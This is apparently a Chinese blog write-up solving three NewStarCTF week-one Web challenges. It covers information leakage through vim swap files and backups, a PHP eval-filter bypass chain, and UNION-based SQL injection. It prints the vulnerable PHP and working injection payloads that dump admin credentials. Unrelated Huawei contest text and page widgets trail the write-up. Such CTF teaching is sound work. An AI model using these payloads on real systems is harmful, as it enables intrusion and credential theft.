NewStarCTF 公开赛赛道 第一周Web题目

目录

我真的会谢

NotPHP

Word-For-You


我真的会谢

进入页面

flag被藏在了三个部分,从意思上来分析应该是信息泄露题。可以看这个链接:CTF信息泄露总结 - 码农教程

查看源码

 猜测VIM信息泄露,相关知识看这里https://blog.csdn.net/qq_40317852/article/details/121582515

访问下载得到vim缓存文件。

http://6da2ea4f-31d7-4e8d-8a1c-cbdbfe10a129.node4.buuoj.cn:81/.index.php.swp

之后靠经验访问一下robots.txt

之后访问/www.zip解压得到最后一部分flag

NotPHP

<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
            echo "Hack Me";
            eval("#".$_GET['cmd']);
        }else{
            die("Number error!");
        }
    }else{
        die("Wrong Key!");
    }
}else{
    die("Pass it!");
} Pass it!

利用data伪协议绕过第一个if,再利用md5对数组参数的弱点绕过第二个if;最后利用PHP弱类型的特点绕过最后一个if。观察到最后一个eval有一个注释符,我们只需要利用%0a作为换行符即可绕过,这是因为"#"只是单行注释。

Word-For-You

 关键字:数据库 --> SQL注入

尝试联合注入,发现回显点在第二个位置。运气真好,莫名猜对列数0.0

 1' union select 1,database()#

1' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()#

1' union select 1,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='wfy_admin'#

 1' union select 1,group_concat(username,password,cookie) from wfy_admin#

空的??先查别的表试试。。

 

不在wfy_information表。。查最后一个表吧!

最后终于找到flag了,注意group_concat不能太长,否则页面啥也不会显示。后续我测试好像是只能拼接两列。

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
华为ICT实践赛云赛道全球赛题目是一个刺激和具有挑战性的赛题。该赛题要求参赛队伍利用华为云平台和ICT技术,解决现实生活中的一些问题,并加以实施和验证。 首先,参赛队伍需要选择一个具体的应用场景或问题。可以选择的场景非常广泛,例如智慧城市、工业物联网、智能农业、智能交通等等。 其次,参赛队伍需要通过研究和分析,利用华为云平台和ICT技术为所选择的应用场景或问题设计合适的解决方案。例如,可以利用大数据分析和人工智能技术来提高城市管理效率,可以利用云计算和物联网技术来优化工业生产流程,可以利用区块链和物联网技术来提高农业生产效率等等。 然后,参赛队伍需要实施他们设计的解决方案,并进行验证。这可能涉及到软件开发、系统集成、网络连接等等技术工作。参赛队伍需要充分运用他们的技术和创新能力,确保他们的解决方案能够在实际应用中正常运行并取得预期的效果。 最后,参赛队伍需要提交他们的解决方案和实施结果,并进行评估和评判。评委将根据解决方案的创新性、可行性和实施效果等方面进行评分,确定最终的获胜队伍。 通过华为ICT实践赛云赛道全球赛,参赛队伍可以充分发挥他们的技术优势和创新能力,并为现实生活中的问题提供有效的解决方案。这不仅对参赛队伍本身来说是一次难得的学习和锻炼机会,也有助于推动ICT技术在各个领域的应用与发展。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值